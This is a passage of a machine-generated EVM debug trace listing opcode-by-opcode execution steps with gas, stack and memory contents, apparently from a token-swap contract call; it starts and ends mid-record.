4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4906,"op":"PUSH2","gas":106181,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4909,"op":"JUMPI","gas":106178,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x0","0x1334"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4910,"op":"DUP3","gas":106168,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4911,"op":"DUP5","gas":106165,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4912,"op":"PUSH2","gas":106162,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4915,"op":"JUMP","gas":106159,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1337"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4919,"op":"JUMPDEST","gas":106151,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4920,"op":"SWAP2","gas":106150,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4921,"op":"POP","gas":106147,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4922,"op":"SWAP2","gas":106145,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4923,"op":"POP","gas":106142,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4924,"op":"PUSH1","gas":106140,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4926,"op":"DUP9","gas":106137,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4927,"op":"GT","gas":106134,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4928,"op":"PUSH2","gas":106131,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4931,"op":"JUMPI","gas":106128,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1","0x138b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":5003,"op":"JUMPDEST","gas":106118,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":5004,"op":"PUSH1","gas":106117,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":5006,"op":"DUP3","gas":106114,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":5007,"op":"GT","gas":106111,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":5008,"op":"DUP1","gas":106108,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":5009,"op":"ISZERO","gas":106105,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000